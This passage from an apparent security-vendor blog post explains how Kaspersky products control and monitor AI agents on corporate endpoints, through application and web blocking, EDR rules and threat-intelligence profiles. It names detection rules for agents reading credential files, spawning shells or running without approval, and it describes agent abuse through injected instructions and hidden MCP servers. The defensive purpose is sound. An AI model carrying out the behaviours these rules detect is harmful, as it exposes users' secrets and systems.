vulnerable versions of AI-related software and services</a>. From 2025 to date, more than 2500 vulnerabilities have been published:</p> <p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211331/how-to-secure-ai-agentsEN1.png" rel="noopener" target="_blank">download</a>)</em></p> <p><em>* Data for previous quarters was updated and may differ slightly from previously published data.</em></p> <h2 id="application-control-and-web-control">Application Control and Web Control</h2> <p>To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on <a href="https://support.kaspersky.com/ksc/15.1/92438?page=help" rel="noopener" target="_blank">KL categories</a>. These categories classify installed software and give you granular control over which approved applications can run in the organization.</p> <p>Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.</p> <p>This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.</p> <p>Here is what this functionality looks like to KSC administrators:</p> <div class="wp-caption aligncenter" id="attachment_121446-2" style="width: 985px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2.png"><img alt="KL categories available when configuring Application Control" aria-describedby="caption-attachment-121446-2" class="size-full wp-image-121446" decoding="async" height="704" sizes="auto, (max-width: 975px) 100vw, 975px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2.png 975w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-300x217.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-768x555.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-485x350.png 485w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-740x534.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-388x280.png 388w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-800x578.png 800w" width="975" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121446-2">KL categories available when configuring Application Control</p></div> <p>For details on how to configure Application Control in KSC, follow <a href="https://support.kaspersky.com/ksc/15.1/183681" rel="noopener" target="_blank">this link</a>.</p> <p>In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:</p> <ul> <li><strong>Denylist</strong>. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.</li> <li><strong>Allowlist. </strong>In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.</li> </ul> <p>Below are the steps to configure Application Control to block AI tools.</p> <div class="post-gallery-wrapper _post _post-2382" data-id="2382"><div class="post-gallery _link_file"><div class="post-gallery__item"><img alt="" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3.png 970w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-300x212.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-768x544.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-494x350.png 494w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-740x524.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-395x280.png 395w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-800x567.png 800w" decoding="async" height="687" sizes="auto, (max-width: 970px) 100vw, 970px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3.png" srcset="" width="970" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4.png 974w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-300x212.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-768x542.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-495x350.png 495w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-740x523.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-396x280.png 396w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-800x565.png 800w" decoding="async" height="688" sizes="auto, (max-width: 974px) 100vw, 974px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4.png" srcset="" width="974" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5.png 968w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-300x210.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-768x538.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-500x350.png 500w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-740x518.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-400x280.png 400w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-800x560.png 800w" decoding="async" height="678" sizes="auto, (max-width: 968px) 100vw, 968px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5.png" srcset="" width="968" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="Configuring Application Control for the AI Tools category in KES" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6.png 970w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-300x210.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-768x537.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-501x350.png 501w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-740x517.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-401x280.png 401w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-800x559.png 800w" decoding="async" height="678" sizes="auto, (max-width: 970px) 100vw, 970px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6.png" srcset="" width="970" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div></div></div> <p style="text-align: center;font-style: italic;font-weight: normal;margin-top: -10px"><em>Configuring Application Control for the AI Tools category in KES</em></p> <p>With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.</p> <div class="wp-caption aligncenter" id="attachment_121451-2" style="width: 406px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7.png"><img alt="KES notification about an attempt to launch an AI agent" aria-describedby="caption-attachment-121451-2" class="size-full wp-image-121451" decoding="async" height="321" sizes="auto, (max-width: 396px) 100vw, 396px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7.png 396w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7-300x243.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7-345x280.png 345w" width="396" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121451-2">KES notification about an attempt to launch an AI agent</p></div> <p>For more on how to configure Application Control in KES, follow <a href="https://support.kaspersky.com/kes-for-windows/14.1/176742?page=help" rel="noopener" target="_blank">this link</a>. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular <a href="https://support.kaspersky.com/help/KLCategories/1.0/en-US/033003.htm" rel="noopener" target="_blank">details on how AI agents are categorized and how popular they are</a>.</p> <div class="wp-caption aligncenter" id="attachment_121452-2" style="width: 1569px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8.png"><img alt="AI Tools KL category" aria-describedby="caption-attachment-121452-2" class="size-full wp-image-121452" decoding="async" height="1461" sizes="auto, (max-width: 1559px) 100vw, 1559px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8.png 1559w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-300x281.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-1024x960.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-768x720.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-1536x1439.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-373x350.png 373w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-740x693.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-299x280.png 299w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-800x750.png 800w" width="1559" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121452-2">AI Tools KL category</p></div> <p>The <em>View applications</em> drop-down list shows products for a specific vendor.</p> <p>Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.</p> <div class="wp-caption aligncenter" id="attachment_121453-2" style="width: 850px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9.png"><img alt="KES notification about an attempt to access a prohibited web resource" aria-describedby="caption-attachment-121453-2" class="size-full wp-image-121453" decoding="async" height="446" sizes="auto, (max-width: 840px) 100vw, 840px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9.png 840w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-300x159.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-768x408.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-659x350.png 659w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-740x393.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-527x280.png 527w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-800x425.png 800w" width="840" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121453-2">KES notification about an attempt to access a prohibited web resource</p></div> <p>When configuring access, the administrator can block websites that provide AI as a service.</p> <div class="wp-caption aligncenter" id="attachment_121454-2" style="width: 394px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10.png"><img alt="Website categories" aria-describedby="caption-attachment-121454-2" class="size-full wp-image-121454" decoding="async" height="603" sizes="auto, (max-width: 384px) 100vw, 384px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10.png 384w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10-191x300.png 191w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10-223x350.png 223w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10-178x280.png 178w" width="384" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121454-2">Website categories</p></div> <p>For more on configuring Web Control, follow this <a href="https://support.kaspersky.com/kes-for-windows/14.1/128048?page=help" rel="noopener" target="_blank">link</a>. The help portal also provides <a href="https://support.kaspersky.com/Legal/WebCategories/en-US/206917.htm" rel="noopener" target="_blank">information on website categories</a> that can be assigned to resources to configure access control.</p> <h2 id="kaspersky-endpoint-detection-and-response">Kaspersky Endpoint Detection and Response</h2> <p>To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.</p> <p>Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.</p> <p>For example, in a <a href="https://securelist.com/tr/armored-likho-apt-with-busysnake-stealer/120292/" rel="noopener" target="_blank">recent Armored Likho campaign</a>, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the <a href="https://tip.kaspersky.com/landscape/hunts/edr/0aa195bc-98d6-edf4-c78a-d6e1f6dda337?icid=gl_sl_tip-rule-lnk_sm-team_6104f62e3f7bce03" rel="noopener" target="_blank">shell_creation_by_rundll32</a> and <a href="https://tip.kaspersky.com/landscape/hunts/edr/0971a329-51da-0fc4-67d1-3e0cc0f3725f?icid=gl_sl_tip-rule-lnk_sm-team_778fdda98b1b8496" rel="noopener" target="_blank">suspicious_powershell_cmd_or_script_spawning</a> rules.</p> <p>So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.</p> <p>In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.</p> <p>We have created separate rules for popular AI agents, <a href="https://tip.kaspersky.com/landscape/hunts?search=ai_agent_" rel="noopener" target="_blank">ai_agent_*_access_to_sensitive_file_**</a>, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/b99cb392-16b2-2674-47a9-d8299e841324?icid=gl_sl_tip-rule-lnk_sm-team_5f3d3935dae2ab11" rel="noopener noreferrer" target="_blank">ai_agent_opencode_access_to_sensitive_file_win</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212040/how-to-secure-ai-agentsEN11.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212040/how-to-secure-ai-agentsEN11.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <p>The <a href="https://tip.kaspersky.com/landscape/hunts/edr/f73d852c-ffe9-cbc4-685b-193d68724417?icid=gl_sl_tip-rule-lnk_sm-team_d6bd9cb348741ce4" rel="noopener" target="_blank">ai_agent_dangerous_execution_mode</a> rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/f73d852c-ffe9-cbc4-685b-193d68724417?icid=gl_sl_tip-rule-lnk_sm-team_d6bd9cb348741ce4" rel="noopener noreferrer" target="_blank">ai_agent_dangerous_execution_mode</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212112/how-to-secure-ai-agentsEN12.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212112/how-to-secure-ai-agentsEN12.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <p>The <a href="https://tip.kaspersky.com/landscape/hunts/edr/306c1372-6669-6bc4-f5a8-c7568c4f455e?icid=gl_sl_tip-rule-lnk_sm-team_2c029a4689d5eccb" rel="noopener" target="_blank">suspicious_mcp_server_artifact</a> rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/306c1372-6669-6bc4-f5a8-c7568c4f455e?icid=gl_sl_tip-rule-lnk_sm-team_2c029a4689d5eccb" rel="noopener noreferrer" target="_blank">suspicious_mcp_server_artifact</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212146/how-to-secure-ai-agentsEN13.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212146/how-to-secure-ai-agentsEN13.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <p>The <a href="https://tip.kaspersky.com/landscape/hunts/edr/aed5112c-6127-4b44-4839-bc98f8e883a4?icid=gl_sl_tip-rule-lnk_sm-team_e981f839ec3200ad" rel="noopener" target="_blank">llm_api_access_by_unusual_apps</a> rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/aed5112c-6127-4b44-4839-bc98f8e883a4?icid=gl_sl_tip-rule-lnk_sm-team_e981f839ec3200ad" rel="noopener noreferrer" target="_blank">llm_api_access_by_unusual_apps</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212214/how-to-secure-ai-agentsEN14.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212214/how-to-secure-ai-agentsEN14.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <p>Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the <code>ai_agent_**_execution</code> rules flag launches of known agents on Windows, Linux, and macOS. The <a href="https://tip.kaspersky.com/landscape/hunts/edr/c6e7246e-faed-d614-5359-7a98644e220f?icid=gl_sl_tip-rule-lnk_sm-team_edc70578c4927d4a" rel="noopener" target="_blank">local_ai_model_artifact</a> rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/c6e7246e-faed-d614-5359-7a98644e220f?icid=gl_sl_tip-rule-lnk_sm-team_edc70578c4927d4a" rel="noopener noreferrer" target="_blank">local_ai_model_artifact</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212318/how-to-secure-ai-agentsEN15-1.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212318/how-to-secure-ai-agentsEN15-1.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <h2 id="kaspersky-threat-intelligence-portal">Kaspersky Threat Intelligence Portal</h2> <h3 id="ai-agent-profiles">AI agent profiles</h3> <p>The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the <code>ai_</code> prefix:</p> <div class="wp-caption aligncenter" id="attachment_121461-2" style="width: 1439px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16.png"><img alt="AI agent profiles on Kaspersky TIP" aria-describedby="caption-attachment-121461-2" class="size-full wp-image-121461" decoding="async" height="641" sizes="auto, (max-width: 1429px) 100vw, 1429px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16.png 1429w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-300x135.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-1024x459.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-768x344.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-780x350.png 780w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-740x332.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-624x280.png 624w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-800x359.png 800w" width="1429" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121461-2">AI agent profiles on Kaspersky TIP</p></div> <p>The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&amp;CK framework, with descriptions of the procedures the tool can be used for.</p> <div class="wp-caption aligncenter" id="attachment_121462-2" style="width: 1441px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17.png"><img alt="Claude profile on Kaspersky TIP" aria-describedby="caption-attachment-121462-2" class="size-full wp-image-121462" decoding="async" height="738" sizes="auto, (max-width: 1431px) 100vw, 1431px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17.png 1431w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-300x155.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-1024x528.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-768x396.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-679x350.png 679w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-740x382.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-543x280.png 543w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-800x413.png 800w" width="1431" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121462-2">Claude profile on Kaspersky TIP</p></div> <p>The description also lists ways to detect the software through standard system auditing mechanisms:</p> <ul> <li>Windows: events from standard audit logs and Sysmon events</li> <li>Linux: syscall audit events and Sysmon events</li> <li>Network auditing: a set of protocols and the traffic generated by the software</li> </ul> <p>The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.</p> <div class="wp-caption aligncenter" id="attachment_121463-2" style="width: 1103px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18.png"><img alt="Detection section in the Claude profile" aria-describedby="caption-attachment-121463-2" class="size-full wp-image-121463" decoding="async" height="1070" sizes="auto, (max-width: 1093px) 100vw, 1093px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18.png" 